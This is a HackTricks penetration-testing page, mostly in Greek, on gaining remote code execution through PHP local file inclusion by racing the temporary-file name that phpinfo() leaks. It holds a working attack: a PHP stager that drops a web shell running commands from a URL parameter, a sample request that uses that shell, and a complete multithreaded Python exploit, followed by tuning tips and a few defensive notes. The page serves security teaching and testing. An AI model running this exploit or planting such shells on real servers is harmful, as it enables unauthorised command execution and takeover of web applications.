LFI to RCE via PHPInfo
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Για να εκμεταλλευτείτε αυτήν την τεχνική χρειάζεστε όλα τα παρακάτω:
- Μια προσβάσιμη σελίδα που εμφανίζει την έξοδο του phpinfo().
- Ένα Local File Inclusion (LFI) primitive που ελέγχετε (π.χ. include/require σε είσοδο χρήστη).
- Ενεργοποιημένα PHP file uploads (file_uploads = On). Οποιοδήποτε PHP script θα αποδεχτεί RFC1867 multipart uploads και θα δημιουργήσει ένα προσωρινό αρχείο για κάθε ανέβασμα.
- Ο PHP worker πρέπει να μπορεί να γράψει στον ρυθμισμένο upload_tmp_dir (ή στον προεπιλεγμένο system temp directory) και το LFI σας πρέπει να μπορεί να συμπεριλάβει αυτή τη διαδρομή.
Classic write-up and original PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Σημειώσεις σχετικά με το αρχικό PoC
- Η έξοδος του phpinfo() είναι HTML-encoded, οπότε το βέλος “=>” εμφανίζεται συχνά ως “=>”. Αν επαναχρησιμοποιήσετε legacy scripts, βεβαιωθείτε ότι ψάχνουν για τις δύο κωδικοποιήσεις όταν κάνουν parsing της τιμής _FILES[tmp_name].
- Πρέπει να προσαρμόσετε το payload (τον PHP κώδικά σας), REQ1 (το αίτημα προς το phpinfo() endpoint συμπεριλαμβανομένου του padding), και LFIREQ (το αίτημα προς το LFI sink). Ορισμένοι στόχοι δεν χρειάζονται null-byte (%00) terminator και οι σύγχρονες εκδόσεις PHP δεν το σεβαστούν. Προσαρμόστε το LFIREQ ανάλογα με τον ευάλωτο sink.
Παράδειγμα sed (μόνο αν πραγματικά χρησιμοποιήσετε το παλιό Python2 PoC) για να ταιριάξετε το HTML-encoded βέλος:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Θεωρία
- Όταν το PHP λαμβάνει ένα multipart/form-data POST με ένα πεδίο αρχείου, γράφει το περιεχόμενο σε ένα προσωρινό αρχείο (upload_tmp_dir ή το προεπιλεγμένο του OS) και αποκαλύπτει τη διαδρομή στο $_FILES[‘
’][‘tmp_name’]. Το αρχείο αφαιρείται αυτόματα στο τέλος του request εκτός αν μετακινηθεί/μετονομαστεί. - Το τέχνασμα είναι να μάθετε το προσωρινό όνομα και να το include μέσω του LFI προτού το PHP το καθαρίσει. phpinfo() εκτυπώνει το $_FILES, συμπεριλαμβανομένου του tmp_name.
- Με το να φουσκώσετε headers/παραμέτρους του request (padding) μπορείτε να προκαλέσετε να σταλούν νωρίτερα κομμάτια της εξόδου της phpinfo() προς τον client πριν ολοκληρωθεί το request, έτσι μπορείτε να διαβάσετε το tmp_name ενώ το προσωρινό αρχείο ακόμα υπάρχει και στη συνέχεια να κάνετε άμεσα hit το LFI με εκείνη τη διαδρομή.
Σε Windows τα προσωρινά αρχεία συνήθως είναι κάτω από κάτι σαν C:\Windows\Temp\php*.tmp. Σε Linux/Unix βρίσκονται συνήθως στο /tmp ή στον κατάλογο που έχει ρυθμιστεί στο upload_tmp_dir.
What to verify in phpinfo() before racing
Πριν στείλετε χιλιάδες requests, εξάγετε τις τιμές που αποφασίζουν αν το race είναι ρεαλιστικό:
file_uploads: πρέπει να είναιOn.upload_tmp_dir: αν είναι ρυθμισμένο, αυτός είναι ο κατάλογος που το LFI σας πρέπει να μπορεί να include. Αν είναι κενό, αναμένετε τον προεπιλεγμένο προσωρινό κατάλογο του συστήματος.open_basedir: αν είναι ενεργό, η ευάλωτη include διαδρομή σας πρέπει παρόλα αυτά να μπορεί να φτάσει τον προσωρινό κατάλογο που δείχνει τοtmp_name.output_buffering:4096είναι ένα κοινό/προεπιλεγμένο μέγεθος και γι’ αυτό πολλά PoCs διαβάζουν σε 4KB κομμάτια, αλλά αυτή η τιμή μπορεί να διαφέρει.zlib.output_compression,output_handler, και οποιοδήποτε framework-level buffering: αυτά μειώνουν την πιθανότητα να δείτε τοtmp_nameαρκετά νωρίς.Server API: χρήσιμο για να αποφασίσετε πόσο buffering μπορεί να υπάρχει μεταξύ του PHP και εσάς (apache2handlerείναι συνήθως ευκολότερο να το αναλύσετε από τοfpm-fcgiπίσω από έναν reverse proxy).
Αν η σελίδα δεν εμφανίζει το $_FILES, βεβαιωθείτε ότι όντως στέλνετε ένα multipart/form-data request με πραγματικό μέρος αρχείου. Το PHP συμπληρώνει το tmp_name μόνο για πεδία upload που αναλύθηκαν.
Ροή επίθεσης (βήμα-βήμα)
- Ετοιμάστε ένα μικρό PHP payload που διατηρεί ένα shell γρήγορα για να αποφύγετε να χάσετε το race (το γράψιμο ενός αρχείου είναι γενικά ταχύτερο από το να περιμένετε ένα reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Στείλτε ένα μεγάλο multipart POST απευθείας στη σελίδα phpinfo() ώστε να δημιουργήσει ένα temp αρχείο που περιέχει το payload σας. Φουσκώστε διάφορα headers/cookies/params με ~5–10KB padding για να ενθαρρύνετε πρώιμη έξοδο. Βεβαιωθείτε ότι το όνομα του πεδίου φόρμας ταιριάζει με αυτό που θα αναλύσετε σε $_FILES.
-
Ενώ η απάντηση του phpinfo() βρίσκεται ακόμα σε streaming, αναλύστε το μερικό σώμα για να εξάγετε $_FILES[‘
’][‘tmp_name’] (HTML-encoded). Μόλις έχετε το πλήρες απόλυτο μονοπάτι (π.χ., /tmp/php3Fz9aB), ενεργοποιήστε το LFI σας για να include() αυτό το μονοπάτι. Εάν η include() εκτελέσει το temp αρχείο πριν διαγραφεί, το payload σας τρέχει και αποθέτει /tmp/.p.php. -
Χρησιμοποιήστε το αρχείο που αποτέθηκε: GET /vuln.php?include=/tmp/.p.php&x=id (ή όπου το LFI σας επιτρέπει να το include) για να εκτελέσετε εντολές αξιόπιστα.
Συμβουλές
- Χρησιμοποιήστε πολλαπλούς παράλληλους workers για να αυξήσετε τις πιθανότητες να κερδίσετε τον αγώνα.
- Θέσεις padding που συνήθως βοηθούν: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Τροποποιήστε ανά στόχο.
- Αν το ευάλωτο sink προσθέτει ένα extension (π.χ., .php), δεν χρειάζεστε null byte; include() θα εκτελέσει PHP ανεξαρτήτως του extension του temp αρχείου.
Ελάχιστο Python 3 PoC (socket-based)
Το απόσπασμα παρακάτω εστιάζει στα κρίσιμα μέρη και είναι πιο εύκολο να προσαρμοστεί σε σχέση με το legacy Python2 script. Προσαρμόστε HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), και PAYLOAD.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Αντιμετώπιση προβλημάτων
- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
tmp_nameappears only at the very end of the response: This is usually a buffering problem, not a PHP-version problem. Largeoutput_bufferingvalues,zlib.output_compression, userland output handlers, or reverse-proxy/FastCGI buffering can delay the phpinfo() body until the upload request is almost done.- You only get reliable streaming in a lab, not through the real site: A CDN, WAF, or reverse proxy may be buffering the upstream response. If you have multiple routes to the same app, prefer the most direct origin path.
- The classic 4096-byte offset logic misses the leak: Treat 4096 as a starting point derived from common
output_bufferingdefaults, not as a universal constant. Parse incrementally and stop as soon astmp_nameis complete. - The temp file is included but your shell dies immediately: Use a tiny stager that writes a second file, because the uploaded temp file will still be deleted when the original request ends.
- Output doesn’t flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers won’t flush until larger thresholds; adjust accordingly.
- LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.
Πρακτικές σημειώσεις για σύγχρονες στοίβες
- This technique is still reproducible in modern lab environments; for example, Vulhub keeps a demonstrator on PHP 7.2. In practice, success tends to depend more on output buffering and proxying than on a phpinfo-specific patch level.
flush()andimplicit_flushonly influence PHP’s own output layer. They do not guarantee that a FastCGI gateway, reverse proxy, browser, or intermediary will release partial chunks immediately.- If the target is
fpm-fcgibehind Nginx/Apache proxying, think in layers: PHP buffer, PHP output handlers/compression, FastCGI buffering, then proxy buffering. The race only works if enough of the phpinfo() response escapes that chain before request shutdown deletes the temp file.
Αμυντικές σημειώσεις
- Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
- Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
- Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist.
Σχετικές τεχνικές HackTricks
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Αναφορές
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


